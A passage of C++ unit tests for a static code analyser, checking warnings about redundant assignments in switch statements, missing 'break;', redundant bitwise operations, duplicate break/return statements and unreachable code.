3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 